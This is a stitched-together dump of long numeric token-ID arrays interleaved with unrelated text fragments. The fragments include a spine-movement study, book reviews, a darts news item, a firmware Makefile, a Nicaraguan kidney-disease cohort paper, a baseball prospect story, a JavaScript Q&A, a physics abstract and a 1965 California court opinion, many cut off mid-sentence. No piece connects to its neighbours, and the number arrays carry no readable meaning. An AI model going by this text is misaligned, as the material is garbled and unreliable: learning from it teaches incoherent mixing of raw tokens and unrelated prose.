497, 17692, 275, 19368, 3719, 281, 2572, 253, 1979, 273, 253, 11077, 15, 187, 187, 30335, 309, 1712, 4538, 22, 94, 187, 6846, 187, 187, 4118, 32424, 1712, 4538, 23, 94, 187, 187, 30335, 309, 369, 5196, 275, 4314, 273, 253, 3578, 34039, 326, 19142, 253, 4487, 273, 416, 34627, 28, 416, 34627, 313, 9576, 15, 31938, 1438, 13, 9963, 575, 6, 10106, 582, 308, 6836, 313, 9576, 15, 374, 6755, 13, 3436, 15, 21, 575, 6, 10106, 10, 6512, 257, 313, 9576, 15, 17601, 1619, 13, 6931, 15, 20, 575, 6, 10106, 582, 5003, 21587, 1448, 6201, 313, 9576, 15, 20825, 3156, 13, 7584, 15, 17, 575, 6, 10106, 582, 12152, 21221, 313, 9576, 15, 12035, 2125, 13, 6931, 15, 26, 575, 6, 10106, 582, 5003, 47944, 313, 9576, 15, 1438, 1348, 13, 11003, 575, 6, 10106, 582, 46287, 45561, 313, 9576, 15, 8255, 938, 13, 7609, 15, 20, 575, 6, 10106, 10, 285, 330, 6702, 284, 313, 9576, 15, 721, 28001, 13, 2145, 575, 6, 10106, 10, 1254, 1311, 1047, 1656, 5761, 34039, 13, 313, 46, 899, 462, 267, 4904, 285, 1219, 7784, 8306, 571, 327, 253, 8930, 273, 473, 3899, 70, 365, 10, 10432, 432, 19368, 309, 1955, 281, 2412, 11230, 12748, 273, 4288, 497, 2908, 275, 19368, 3719, 15, 187, 187, 18961, 16510, 5866, 275, 4236, 7888, 1561, 1016, 24530, 689, 253, 854, 575, 11151, 2180, 432, 3978, 1458, 281, 4223, 1458, 13, 4050, 15, 6269, 1005, 497, 12421, 4236, 407, 8366, 16948, 247, 9860, 342, 31050, 19325, 327, 8115, 273, 253, 34039, 285, 840, 970, 247, 3632, 1180, 14156, 281, 3653, 534, 9860, 14, 15044, 651, 320, 10522, 327, 247, 1677, 16510, 1388, 15, 22460, 1264, 390 ]	lordosis angle was determined during relaxed standing. The volunteers were then released to daily life. The increases and decreases in the back lumbar lordosis angle over a period of 24 h were determined and classified into 5° increments. Changes in the lordosis angle greater than 5° were considered. The median number of spinal movements performed within 24 h was approximately 4,400. Of these movements, 66 % were between 5° and 10°. The proportions of higher-magnitude lordosis angle changes were much lower (e.g., 3 % for the 20-25° movement bin). Surprisingly, the median total number of movements was significantly higher (29 %) in women than in men. Large inter-individual differences were observed in the number of movements performed. The volunteers spent a median of 4.9 h with the lumbar spine flexed between 20° and 30° and only 24 min with the spine extended relative to the reference standing position. A median of 50 movements reached or exceeded full-flexion angle and zero movements full-extension angle. These data illustrate the predominantly small range of movement of the spine during daily activities and the small amount of time spent in extension. These unique data strongly contribute to the understanding of patients' everyday behavior, which might affect the development and testing of spinal implants and the evaluation of surgical and nonsurgical treatments.Category: Reading Room Fictional world is addictive. You immerse yourself in a book and forget about the real world, at times about self and surroundings, and start to live in the world writer has created for you. Once you step into it, world that is not your own yet feels so much like one, you don’t want to get out of What is it about: A powerful, heart wrenching tale of friendship between two women from different generations, Mariam and Laila, during the period of war and rise of Taliban in Afghanistan. Women in the book Mariam is innocent, gullible, but a hero in her own way. She is wise and has an invincible spirit, just like Laila What is it about: TV writer Georgie McCool can’t actually visit the past; all she can do is call it, and hope it picks up. When Georgie discovers a magical phone, all she wants to do is make things right with her husband. Maybe she can fix the things in their past that seem unfixable in the There are very few movies that merit a second time watch in the theatre. This was the first movie that I watched in theatre for the second time; and by how much it has impacted and captivated me, I won’t mind a 3rd or 4th. This is not a critical analysis of the movie butAndy Hamilton Loves Derby Andy Hamilton, the World number 7 simply can’t get enough of the city of Derby. Since relocating to Derby he says his game has gone from strength to strength. So what is it about Derby that has helped Andy so much? The water from the Derwent? The fresh air from the Peak District or just the change of scenery? Well I’m sorry to say it is none of these. Andy simply moved to Derby to be closer to regular practice partner Colin Osborne and that seems to be the reason his game has improved. “I’ve only got family holding me in Stoke so it made sense,” Hamilton told BBC Radio Stoke. “I moved to where Colin is and its paid dividends. “Since I moved there in February my game has come on leaps and bounds. “It’s a new challenge and it’s worked out, because sometimes you can get a bit stale,” Hamilton added. “Colin and I push each other all the time and we’re such good friends, we’re like brothers in a way.”RPATH = $(ROOT)/src OBJS += board.o OBJS += build_info.o OBJS += crc.o OBJS += vectors.o OBJS += fw_update.o OBJS += string.o OBJS += cortex.o OBJS += time.o OBJS += timer.o OBJS += util.o OBJS-$(debug) += console.o SUBDIRS += usb SUBDIRS-$(stm32f1) += f1 SUBDIRS-$(stm32f7) += f7 .PHONY: $(RPATH)/build_info.c build_info.o: CFLAGS += -DFW_MAJOR=$(FW_MAJOR) -DFW_MINOR=$(FW_MINOR) Background {#Sec1} ========== Introduction {#Sec2} ------------ The lack of reliable healthcare system data in some developing countries makes it difficult to estimate disease incidence and prevalence and can result in delayed recognition of emerging public health problems \[[@CR1]\]. Epidemiological studies, launched after such issues are initially suspected are difficult and expensive to conduct in what are often remote and rural areas with poor healthcare system and transportation infrastructure. These logistical difficulties result in studies with important limitations due to small sample size, bias introduced by subject recruitment methodology and the inability to follow subjects over prolonged intervals of time necessary to estimate disease incidence. Chronic kidney disease of unknown origin (CKDu) has recently been recognized as an 'epidemic' in Central America \[[@CR2]--[@CR4]\] and has received much attention in the lay press, but epidemiological studies of the entity suffer from these considerations. Studies of targeted populations, conducted in northwestern Nicaragua and El Salvador between 2008 and 2014, have reported prevalences of CKDu to be between 10 and 40 % with higher rates seen in populations enriched for male agriculture workers \[[@CR5]--[@CR10]\], miners \[[@CR8]\], older individuals, participants living at altitudes less than 500 m above sea level \[[@CR11]--[@CR13]\] and those who consumed lija, a home-brewed alcoholic beverage \[[@CR9]\]. While these cross-sectional studies of targeted communities identify potential risk factors for CKDu, the broad range of disease prevalence estimates they generate make it difficult to appreciate the impact of the disease across the general population. A particular difficulty in doing longitudinal studies in rural communities in Nicaragua is re-locating visited homes as they typically do not have addresses and roads are generally unnamed. This report describes the establishment and stability characteristics of a representative geographical-based cohort to study CKDu and other public health issues in Rivas, the southernmost department (a geographical area with administrative responsibilities that correspond to a county in the United States) in Nicaragua that borders the Pacific Ocean. We studied the Department of Rivas at the request of local public health officials who wished to confirm their impression that prevalence of CKD in their region was as high as it was in Northern Nicaragua where the 'epidemic' was first identified. The two Departments share occupational and environmental risk factors for CKD. Rivas has a population of 156,283 and has an area of approximately 2100 km^2^ \[[@CR14]\]. Overall, 52.6 % of the inhabitants of the department of Rivas are considered to be living in rural areas, with 52 % of men and 8 % of women working primarily in agriculture \[[@CR14]\]. The study was done with minimal cost by using volunteer research associates and longitudinal follow up was enhanced through the use of global positioning system (GPS) technology to precisely identify participants' residences. Research objective {#Sec3} ------------------ The research objective was to establish a cohort of at least 1000 adults representative of the population of Rivas and to determine the ability to maintain follow up of the cohort over a two year time period. Questionnaire, physical exam and laboratory data collected from participants at cohort inception and over time would be useful to study prevalence, incidence and risk factors for CKDu and other public health problems. To the extent that Rivas is reflective of the population and environment of other regions of Nicaragua, the data from this cohort could be used to understand similar public health issues in other departments of Nicaragua. Methods {#Sec4} ======= The study was conducted in two phases. In Phase I (2012) subjects were recruited into the cohort from communities in the Department. In Phase II (2014) these same communities were revisited and an attempt was made to re-contact 400 of the 1021 subjects enrolled in Phase I. Additional subjects were enrolled in Phase II to increase the size of the cohort. Phase I {#Sec5} ------- ### Setting {#Sec6} Phase I was conducted in eight of the ten municipalities that comprise the Department of Rivas; Rivas (pop. 41080, 67 % urban), Tola (pop. 22012, 26.4 % urban) Belen (pop. 16428, 39.3 % urban), San Juan del Sur (pop. 14741, 49.0 % urban), Potosi (pop. 11904, 39.9 % urban), San Jorge (pop.8024, 88 % urban), Buenos Aires (pop. 5420, 41.3 % urban) and Cardenas (pop. 6990, 13 % urban) \[[@CR14]\]. Two municipalities, (Moyogalpa and Altagracia on the island of Ometepe) excluded from Phase I due to logistical difficulties of travel were included in Phase II. Subject recruitment occurred in selected communities within each municipality over the 8 week period from June 15 to August 15, 2012. Communities were randomly selected by overlaying a grid with numbered squares on maps of the municipalities and then using a random number generator to determine which grid-square would be targeted on a given recruitment day. Typically three or
[ 4332, 36481, 7482, 15, 21995, 2721, 777, 369, 1929, 281, 3324, 253, 4250, 13, 10922, 2233, 6574, 591, 4964, 387, 2069, 327, 253, 22013, 5654, 15, 12526, 13, 344, 9829, 512, 273, 253, 4059, 2952, 285, 629, 273, 4104, 1955, 281, 27145, 2516, 5869, 846, 35765, 521, 530, 3207, 15, 187, 187, 1628, 1147, 3543, 1175, 3551, 896, 275, 4104, 1806, 753, 21995, 2721, 777, 15, 773, 510, 4430, 3543, 1270, 15, 4683, 2282, 13, 1390, 807, 1907, 247, 2120, 2952, 4720, 13, 352, 3543, 1270, 1066, 253, 13726, 1425, 187, 187, 510, 2030, 14, 2913, 1711, 987, 90, 5262, 1390, 2952, 342, 18603, 14, 34, 1879, 23538, 13, 1469, 884, 14, 25, 342, 247, 577, 15, 1036, 38233, 275, 2030, 3958, 323, 253, 43375, 83, 5852, 13, 3495, 273, 1110, 347, 247, 26023, 15, 3010, 15538, 13, 21995, 2721, 777, 574, 14114, 9974, 8349, 275, 11858, 28828, 33517, 15, 754, 369, 4907, 281, 253, 6112, 6884, 1876, 14, 16043, 10850, 13, 13631, 562, 767, 275, 271, 40762, 273, 789, 15, 187, 187, 1628, 26143, 896, 285, 2238, 273, 1907, 619, 4669, 9685, 627, 13, 352, 369, 13103, 1806, 21995, 2721, 777, 753, 1223, 5015, 670, 4882, 275, 1879, 23538, 15, 773, 1147, 457, 84, 247, 1270, 1659, 281, 1132, 1425, 187, 187, 41052, 2721, 777, 457, 84, 3809, 2910, 31218, 275, 253, 5170, 5091, 457, 84, 13, 285, 789, 7788, 342, 3923, 285, 2440, 273, 41095, 15, 7243, 326, 457, 84, 275, 2451, 13, 21995, 2721, 777, 556, 773, 584, 668, 5017, 15, 187, 187, 510, 29629, 588, 452, 7324, 323, 253, 10720, 6308, 273, 253, 4983, 9381, 2378, 47436, 285, 5798, 13580, 1304, 281, 6201, 10344, 13, 13169, 1735, 1770, 15, 21995, 2721, 777, 812, 6830, 5669, 2994, 715, 326, 9436, 342, 247, 1175, 4645, 275, 7203, 3733, 15, 187, 187, 1628, 2773, 457, 84, 4130, 457, 84, 4736, 1806, 753, 21995, 2721, 777, 15, 773, 1231, 512, 452, 326, 4736, 275, 2564, 15, 1310, 352, 2506, 457, 85, 5108, 13, 368, 3524, 281, 755, 598, 627, 347, 3517, 347, 1896, 15, 1310, 1633, 369, 281, 5108, 13, 368, 971, 634, 1416, 281, 320, 275, 1110, 16072, 1425, 3351, 3018, 272, 5249, 298, 1911, 398, 275, 10401, 8188, 3756, 15, 187, 510, 2169, 3708, 285, 16268, 1677, 281, 346, 19586, 3, 6979, 24432, 1561, 253, 8761, 3133, 281, 37856, 253, 2554, 273, 253, 10401, 8188, 25895, 15, 380, 19123, 16239, 1160, 1896, 407, 4866, 715, 21629, 6979, 33433, 556, 8877, 1142, 273, 253, 1682, 24432, 1977, 432, 10401, 8188, 3756, 13, 1014, 604, 597, 4264, 352, 390, 4510, 352, 15, 496, 1635, 13, 3063, 434, 23809, 1067, 323, 346, 9961, 41047, 1319, 3, 24432, 15, 380, 5249, 23465, 4473, 778, 320, 2900, 281, 841, 3374, 15, 50, 27, 187, 187, 43, 9874, 16920, 2193, 715, 2709, 13301, 3562, 275, 247, 323, 6287, 187, 187, 4943, 310, 619, 2127, 4390, 2708, 28, 187, 29, 3866, 31, 187, 3701, 619, 11594, 1082, 551, 187, 50274, 2044, 1180, 18, 426, 3389, 15, 22339, 1587, 1156, 6788, 2877, 28, 187, 50274, 2044, 1180, 19, 426, 3389, 15, 22339, 1587, 28192, 6788, 2877, 28, 187, 50274, 2044, 906, 426, 1180, 18, 1227, 1180, 19, 28, 187, 50274, 2044, 8472, 426, 1180, 19, 28, 187, 50274, 1542, 9, 2044, 891, 426, 470, 28, 891, 654, 8472, 28, 891, 9234, 187, 50274, 92, 187, 50270, 2044, 5203, 11021, 426, 3389, 15, 42004, 1587, 1968, 3287, 187, 50270, 1968, 11021, 15, 1178, 11756, 1587, 301, 995, 346, 1968, 42491, 74, 558, 187, 50270, 1968, 11021, 15, 1178, 11756, 1587, 2877, 995, 906, 558, 535, 50270, 605, 26698, 84, 846, 2017, 6809, 187, 50270, 605, 3306, 15, 22339, 1587, 16680, 6788, 14447, 4553, 1874, 187, 50274, 94, 187, 94, 187, 870, 3866, 31, 187, 187, 42, 1353, 2820, 281, 755, 352, 594, 2378, 352, 556, 4307, 562, 253, 906, 352, 588, 2794, 13301, 1754, 327, 253, 2978, 1227, 2408, 326, 556, 644, 4272, 407, 323, 1650, 604, 2233, 1227, 374, 426, 2456, 352, 588, 2794, 767, 13301, 534, 452, 253, 1072, 1318, 313, 2520, 1083, 1146, 2456, 10, 533, 342, 1027, 2654, 434, 5203, 18, 285, 5203, 19, 187, 187, 34, 27, 187, 187, 6175, 634, 3236, 1953, 3589, 626, 1077, 2590, 13, 368, 4352, 253, 23806, 327, 253, 1481, 275, 634, 4385, 313, 18532, 310, 7477, 2262, 187, 187, 1147, 1912, 626, 6635, 253, 13301, 2378, 253, 1159, 310, 25363, 3066, 6409, 1227, 1408, 13, 309, 1353, 417, 2119, 604, 309, 878, 281, 14801, 10371, 253, 5203, 16906, 390, 1880, 309, 1353, 5816, 1633, 187, 187, 42918, 2506, 626, 8356, 14801, 3603, 281, 253, 3239, 672, 368, 2794, 731, 13, 3103, 368, 1364, 513, 326, 4834, 15, 187, 13904, 27, 1284, 24544, 45220, 2608, 22234, 3750, 5393, 275, 247, 4385, 327, 634, 1953, 13, 368, 476, 897, 14801, 10371, 1159, 323, 436, 15, 535, 11336, 48494, 6115, 434, 1159, 1332, 323, 8609, 4616, 275, 33138, 15, 187, 1231, 1246, 247, 7000, 1971, 273, 253, 5293, 48494, 6115, 434, 1159, 1332, 323, 8609, 4616, 1955, 281, 13805, 36459, 275, 44930, 38124, 15, 3808, 273, 253, 2234, 7424, 13, 824, 347, 1881, 14, 14115, 285, 29738, 342, 14561, 1055, 13, 403, 6012, 15, 329, 1881, 14, 32474, 1599, 14, 3423, 3762, 310, 4081, 15, 11270, 1050, 7259, 403, 5469, 15, 380, 1332, 310, 3732, 281, 247, 1180, 273, 2718, 1690, 581, 14, 6967, 13178, 13, 247, 21957, 1751, 5818, 16889, 13, 285, 6315, 38587, 31571, 15, 9601, 14, 3423, 10426, 273, 253, 22499, 14, 49, 24968, 14, 54, 5247, 1566, 403, 2429, 342, 8946, 5787, 8062, 9938, 970, 247, 14923, 49890, 8498, 4250, 8158, 15, 844, 1089, 326, 14561, 414, 41033, 8609, 4616, 1014, 387, 28249, 1029, 9208, 15, 187, 3763, 2263, 15, 19, 69, 39748, 313, 28403, 10, 187, 32960, 367, 15, 19, 69, 35383, 187, 2945, 2263, 15, 35998, 15, 854, 2537, 187, 9707, 41004, 13, 18160, 13, 187, 87, 15, 187, 9707, 9242, 10810, 34354, 14732, 3481, 12041, 1311, 2300, 3489, 48, 43446, 13, 21485, 28, 399, 58, 6541, 411, 38512, 40441, 13, 10417, 7021, 275, 9535, 15, 187, 49614, 1621, 15, 20106, 15, 10909, 1010, 15, 187, 31177, 2111, 273, 5002, 15, 496, 6022, 15, 187, 18489, 337, 13, 18417, 15, 187, 23833, 444, 15, 308, 38751, 285, 500, 15, 13040, 1187, 367, 2955, 793, 323, 18160, 15, 187, 2302, 7286, 323, 21485, 15, 187, 24080, 411, 15, 8698, 285, 418, 595, 708, 8698, 323, 10417, 7021, 275, 9535, 15, 187, 3125, 8506, 38035, 13, 330, 15, 43, 15, 187, 510, 5259, 28218, 1005, 5399, 13, 402, 272, 275, 253, 1416, 273, 253, 6491, 273, 253, 2418, 273, 5002, 313, 35139, 15, 28218, 15, 6307, 13, 3015, 3127, 520, 582, 14993, 247, 2416, 273, 30034, 281, 46270, 15587, 8936, 1302, 432, 12162, 342, 271, 2250, 10646, 31787, 413, 10205, 6487, 13, 253, 1524, 3128, 275, 1600, 11249, 13, 14993, 247, 16204, 273, 253, 3570, 285, 12803, 273, 253, 4676, 342, 1675, 281, 8064, 5728, 407, 31787, 413, 432, 697, 6383, 10376, 281, 247, 3297, 1340, 273, 253, 8119, 15, 187, 11, 42420, 496, 11994, 253, 8119, 6960, 253, 15056, 273, 271, 26964, 2281, 2572, 3786, 7169, 281, 31787, 413, 15, 367, 1946, 247, 2278, 407, 436, 1302, 13, 253, 8119, 11791, 253, 3576, 3522, 273, 253, 15056, 1340, 13, 533, 6828, 31787, 413, 281, 873, 598, 247, 15917, 2395, 275, 697, 5098, 285, 18831, 253, 8322, 5728, 10376, 281, 253, 3297, 342, 247, 4310, 347, 23052, 15, 1623, 4163, 2030, 13, 21054, 13, 846, 436, 1302, 16337, 253, 15056, 1340, 313, 37, 90, 413, 10205, 2434, 15, 362, 15, 5259, 28218, 1005, 1176, 904, 8026, 2263, 15, 19, 69, 12446, 544, 1047, 2263, 15, 35998, 15, 27322, 13, 36813, 367, 15, 19, 69, 34897, 6660, 253, 8119, 6960, 253, 2406, 4142, 715, 1055, 4745, 285, 6828, 31787, 413, 1561, 884, 1897, 281, 36803, 285, 22276, 253, 8119, 273, 247, 2098, 281, 23005, 281, 697, 6383, 253, 3064, 875, 253, 2169, 285, 2406, 4142, 5728, 1223, 253, 8119, 434, 3297, 369, 275, 1055, 15, 187, 688, 4596, 20208, 253, 8119, 6808, 271, 1340, 281, 921, 2847, 2139, 31787, 413, 285, 697, 6251, 285, 17970, 943, 417, 320, 2918, 275, 20334, 323, 26554, 2710, 2457, 7367, 273, 253, 8119, 1690, 1110, 25091, 31787, 413, 281, 873, 598, 247, 15917, 2395, 13, 281, 5100, 247, 4517, 18831, 13, 285, 281, 36803, 247, 2098, 323, 23005, 272, 253, 6714, 7260, 5728, 10376, 281, 253, 8119, 434, 3297, 15, 187, 6175, 253, 20334, 10061, 497, 13910, 13, 253, 8119, 24488, 271, 5839, 273, 247, 4081, 7289, 407, 31787, 413, 273, 629, 273, 697, 24685, 2867, 281, 253, 3228, 273, 28642, 17563, 15, 496, 247, 3061, 4724, 327, 4223, 721, 13, 19949, 313, 37, 90, 413, 10205, 2434, 904, 9901, 2263, 15, 367, 15, 54, 15, 36, 15, 29117, 13, 31619, 582, 253, 8119, 1119, 326, 253, 1345, 1600, 2424, 326, 9612, 273, 253, 4081, 7289, 320, 27039, 327, 31787, 413, 434, 2403, 8332, 323, 1275, 41748, 281, 697, 6383, 273, 253, 8322, 5728, 10376, 281, 253, 3297, 275, 253, 2281, 10061, 15, 380, 8119, 671, 3413, 326, 370, 22313, 13, 27222, 943, 320, 4845, 275, 6262, 736, 323, 436, 4096, 13, 533, 1293, 14751, 281, 31787, 413, 434, 987, 281, 15142, 697, 16422, 1078, 253, 8119, 326, 642, 1275, 41748, 497, 1955, 15, 187, 49, 27956, 281, 436, 3061, 31787, 413, 17063, 370, 22313, 13, 27222, 275, 247, 4517, 2395, 342, 253, 43614, 285, 7612, 348, 1103, 6022, 273, 8057, 13140, 285, 11407, 6262, 736, 7997, 5277, 326, 436, 2408, 369, 281, 320, 557, 67, 43376, 347, 253, 8119, 943, 1480, 285, 326, 253, 6262, 736, 7997, 943, 417, 320, 4391, 1293, 253, 7578, 273, 253, 8119, 15, 187, 2374, 4565, 898, 13, 19949, 13, 31787, 413, 4724, 697, 2250, 323, 36263, 6619, 275, 15587, 8936, 1302, 15, 7850, 5833, 20765, 326, 3257, 35084, 3916, 326, 344, 310, 7429, 281, 629, 273, 253, 1275, 41748, 347, 9212, 1796, 273, 690, 273, 31787, 413, 434, 6383, 13, 326, 247, 6832, 629, 273, 253, 1275, 41748, 588, 1620, 320, 7558, 407, 6383, 13, 285, 326, 3257, 10158, 4214, 3916, 326, 475, 43628, 629, 273, 253, 1275, 41748, 323, 253, 2418, 273, 5002, 15, 31787, 413, 31647, 253, 3916, 273, 1097, 35084, 285, 253, 10158, 4214, 13, 285, 352, 819, 698, 323, 247, 16204, 273, 253, 3570, 285, 12803, 273, 253, 4676, 762, 253, 7089, 285, 7367, 273, 253, 8119, 15, 187, 2374, 4163, 884, 13, 17926, 13, 253, 8119, 4724, 697, 3061, 285, 1340, 275, 253, 20334, 10061, 4560, 31787, 413, 285, 697, 6251, 285, 17970, 8106, 273, 20334, 323, 2800, 15927, 273, 8119, 7367, 1690, 253, 1340, 281, 36803, 247, 2098, 323, 2403, 1275, 41748, 15, 3900, 247, 5266, 281, 2278, 253, 20334, 1340, 369, 13910, 275, 436, 1302, 13, 253, 8119, 24488, 253, 1246, 12162, 323, 247, 2416, 273, 30034, 15, 1623, 4596, 655, 13, 17926, 13, 359, 5868, 253, 5266, 281, 2278, 253, 20334, 1340, 313, 37, 90, 413, 10205, 2434, 15, 362, 15, 5259, 28218, 1005, 5399, 13, 322, 15, 39, 15, 1621, 15, 26578, 1619, 582, 533, 10473, 273, 326, 1340, 556, 644, 11791, 13910, 253, 14793, 12108, 285, 16322, 273, 247, 5266, 323, 247, 2416, 273, 5306, 43738, 275, 253, 1986, 2077, 6413, 2111, 15, 187, 12612, 1722, 3046, 273, 253, 5259, 28218, 1005, 6307, 3400, 27, 346, 2302, 1302, 273, 436, 2418, 13, 3707, 253, 6413, 2111, 281, 253, 6070, 7616, 275, 436, 3929, 13, 3091, 452, 7571, 281, 2278, 13, 8107, 13, 3451, 13, 390, 2459, 335, 667, 1340, 390, 3061, 273, 253, 8119, 390, 281, 32407, 390, 5778, 253, 10636, 390, 4254, 10445, 13, 390, 281, 546, 13956, 13, 46270, 13, 390, 19323, 342, 253, 8119, 275, 253, 3045, 273, 697, 3565, 12803, 13, 3707, 326, 253, 2416, 273, 7649, 19202, 3091, 7027, 432, 253, 6413, 2111, 281, 253, 8119, 275, 512, 1463, 2219, 449, 187, 60, 18, 62, 380, 8119, 12148, 326, 31787, 413, 14993, 281, 452, 253, 8936, 1302, 2278, 253, 8119, 434, 7089, 285, 7367, 342, 1675, 281, 2403, 1275, 41748, 281, 31787, 413, 434, 6383, 285, 2459, 335, 1110, 7089, 281, 253, 6070, 326, 31787, 413, 14993, 247, 16204, 326, 352, 310, 7429, 281, 13280, 253, 440, 13578, 1275, 41748, 15, 10022, 13, 253, 8119, 20097, 326 ]	2011 MLB draft. Sadzeck was known to bring the heat, reaching 100 miles per hour at times on the radar gun. Unfortunately, he missed all of the 2014 season and part of 2015 due to Tommy John surgery after tearing his UCL. “It felt good coming back in 2015,” said Sadzeck. “The arm felt great. Of course, last year having a full season finally, it felt great down the stretch.” The 25-year old righty spent last season with Double-A Frisco, going 10-8 with a 4.16 ERA in 25 games for the Roughriders, 23 of those as a starter. More importantly, Sadzeck had 133 strikeouts in 140 innings pitched. He was named to the Texas League All-Star Game, striking out two in an inning of work. “Being back and kind of having my feet wet there, it was awesome,” Sadzeck said while talking about playing in Frisco. “It’s a great place to play.” Sadzeck’s fastball averages in the upper 90’s, and work continues with command and development of pitches. Once that’s in check, Sadzeck has “ace” stuff. The Rangers will have competition for the fifth spot of the starting rotation once pitchers and catchers report to Surprise, Arizona next month. Sadzeck could possibly insert himself into that conversion with a good showing in spring training. “That’s everyone’s goal,” said Sadzeck. “We all have that goal in mind. If it doesn’t happen, you hope to get up there as soon as possible. If something was to happen, you want your name to be in those conversations.”Implementing career ladders in diagnostic radiography. The higher status and salary given to "special" imaging practitioners within the profession seems to diminish the role of the diagnostic radiographer. The upward mobility made possible by movement into newer imaging modalities has driven many of the best practitioners away from diagnostic radiography, even if they enjoy it or prefer it. In addition, today's reforms call for "multimodality" practitioners. The career ladder concept may be solution to these issues.Q: Javascript posting values into multiple labels created in a for loop Here is my code currently below; <script> function myFunction() { var number1 = document.getElementById("text").value; var number2 = document.getElementById("selector").value; var result = number1 / number2; var len = number2; for(var i = 0; i < len; i++) { var labelOutput = document.createElement("label"); labelOutput.setAttribute("id", "label"+i); labelOutput.setAttribute("value", result); //Inserts after div tag //document.getElementById("results").insertAfter(); } } </script> I'm trying to get it so once it has worked out the result it will create labels based on the length / amount that has been divided by for example if 100 / 2 = 50 it will create two labels which have the same value (this case being 50) but with different id's label1 and label2 A: While your original question wasn't very clear, you hit the nail on the head in your comment (emphasis is mine): It won't generate the labels once the function is clicked via button / run, I'm not sure if I need to appendChild the label afterwards or whether I'm missing something JavaScript doesn't automatically append elements to the page when you create them, therefore you must do that yourself. Edit: As StackOverflow user Aaronius mentioned in a comment on your question, you can use appendChild function for this. Nonequilibrium Green's function method for thermal transport in junctions. We present a detailed treatment of the nonequilibrium Green's function method for thermal transport due to atomic vibrations in nanostructures. Some of the key equations, such as self-energy and conductance with nonlinear effect, are derived. A self-consistent mean-field theory is proposed. Computational procedures are discussed. The method is applied to a number of systems including one-dimensional chains, a benzene ring junction, and carbon nanotubes. Mean-field calculations of the Fermi-Pasta-Ulam model are compared with classical molecular dynamics simulations using a generalized Langevin heat bath. We find that nonlinearity suppresses thermal transport even at moderately high temperatures. 62 Cal.2d 515 (1965) 399 P.2d 385 42 Cal. Rptr. 849 THE PEOPLE, Petitioner, v. THE SUPERIOR COURT OF SACRAMENTO COUNTY, Respondent; DYKE WATER COMPANY, Real Party in Interest. Docket No. Sac. 7615. Supreme Court of California. In Bank. March 1, 1965. Richard E. Tuttle and J. Thomason Phelps for Petitioner. No appearance for Respondent. Thomas W. Martin and Lally & Martin for Real Party in Interest. TRAYNOR, C.J. The Public Utilities Commission, suing in the name of the People of the State of California (Pub. Util. Code, § 2101), seeks a writ of prohibition to restrain respondent superior court from proceeding with an action wherein Dyke Water Company, the real party in interest herein, seeks a declaration of the rights and duties of the parties with respect to funds collected by Dyke from its customers pursuant to a stay order of the commission. 516 In 1960 the commission ordered the termination of an interim rate increase previously granted to Dyke. Pending a review by this court, the commission stayed the effective date of the termination order, but directed Dyke to set up a reserve account in its books and deposit the amounts collected pursuant to the stay with a bank as trustee. On July 25, 1961, after this court affirmed the termination order (Dyke Water Co. v. Public Utilities Com., 56 Cal.2d 105 [14 Cal. Rptr. 310, 363 P.2d 326]), the commission ordered the lower rates into effect immediately and directed Dyke within 10 days to formulate and advise the commission of a plan to refund to its customers the difference between the higher and lower rates collected while the commission's stay was in effect. In November 1962 the commission issued an order to show cause why Dyke and its officers and directors should not be held in contempt for violating various final orders of the commission including those directing Dyke to set up a reserve account, to establish a trust deposit, and to formulate a plan for refunding the excess charges collected pursuant to the commission's stay. While the contempt proceedings were pending, the commission commenced an investigation of a proposed sale by Dyke of part of its operative property to the City of Anaheim. In a decision filed on August 6, 1963 (Dyke Water Co., 61 Cal. P.U.C. 315, 322), the commission found that the public interest required that approval of the proposed sale be conditioned on Dyke's making provision for refunds to its customers of the amounts collected pursuant to the stay in the rate proceedings. The commission also determined that $266,342 should be placed in escrow for this purpose, but without prejudice to Dyke's right to pursue its contention before the commission that no refunds were due. Pursuant to this decision Dyke deposited $266,342 in a trust account with the Farmers and Merchants Bank of Long Beach and executed escrow instructions providing that this amount was to be disbursed as the commission should direct and that the escrow instructions should not be changed without the consent of the commission. On December 9, 1963, Dyke filed its action for declaratory relief in respondent superior court. Its complaint alleges that defendant Silva claims that he is entitled to part of the refunds as assignee of some of Dyke's customers, that a substantial part of the refunds will never be claimed by customers, and that defendant Attorney General claims that 517 part of the refunds for the State of California. Dyke denies the claims of both Silva and the Attorney General, and it prays for a declaration of the rights and duties of the parties under the decisions and orders of the commission. On July 10, 1964, the commission filed its decision and order in the contempt proceedings finding Dyke and its officers and directors guilty of contempt for six violations of commission orders including the order to formulate a plan for making refunds. While a petition to review the contempt order was pending in this court, the commission commenced the present proceeding for a writ of prohibition. On November 19, 1964, we denied the petition to review the contempt order (Dyke Water Co. v. Public Utilities Commission, S.F. No. 21828), but enforcement of that order has been stayed pending the timely filing and disposition of a petition for a writ of certiorari in the United States Supreme Court. Section 1759 of the Public Utilities Code provides: "No court of this State, except the Supreme Court to the extent specified in this article, shall have jurisdiction to review, reverse, correct, or annul any order or decision of the commission or to suspend or delay the execution or operation thereof, or to enjoin, restrain, or interfere with the commission in the performance of its official duties, except that the writ of mandamus shall lie from the Supreme Court to the commission in all proper cases." [1] The commission contends that Dyke seeks to have the superior court review the commission's decisions and orders with respect to making refunds to Dyke's customers and annul those decisions to the extent that Dyke seeks a declaration that it is entitled to retain the unclaimed refunds. Accordingly, the commission concludes that
[ 1264, 6556, 13, 273, 13714, 15296, 27887, 5200, 28, 672, 368, 452, 22269, 562, 253, 308, 9045, 6022, 13, 253, 11936, 14, 41, 10245, 6022, 13, 285, 187, 12496, 643, 10907, 432, 581, 990, 281, 253, 643, 273, 253, 329, 1342, 7080, 11936, 1905, 672, 368, 452, 30548, 562, 253, 1077, 2798, 273, 247, 6793, 187, 33832, 37020, 594, 326, 2620, 1107, 588, 417, 8706, 634, 3430, 14, 3088, 723, 1905, 368, 1364, 8580, 285, 1379, 752, 310, 275, 4657, 15, 187, 1989, 253, 21114, 3803, 11392, 13, 347, 247, 8027, 1691, 562, 432, 253, 637, 14, 1171, 14, 7523, 13, 326, 344, 574, 644, 10110, 13073, 327, 253, 1029, 26634, 13, 342, 187, 783, 4782, 7908, 1905, 2067, 273, 731, 1905, 7968, 371, 600, 15432, 1840, 779, 13, 285, 3597, 281, 1089, 5956, 432, 253, 1869, 15, 187, 187, 1628, 7161, 1806, 753, 253, 331, 9528, 25186, 32386, 8511, 9020, 2994, 22995, 13, 773, 2811, 403, 1110, 2687, 457, 27887, 5200, 7721, 187, 187, 3726, 497, 627, 4457, 612, 4930, 15, 1621, 18360, 812, 513, 1977, 342, 253, 35268, 13624, 273, 10027, 264, 258, 9207, 398, 13, 253, 187, 2154, 272, 14, 69, 16443, 13, 285, 253, 8135, 14, 14326, 3606, 7856, 2706, 15, 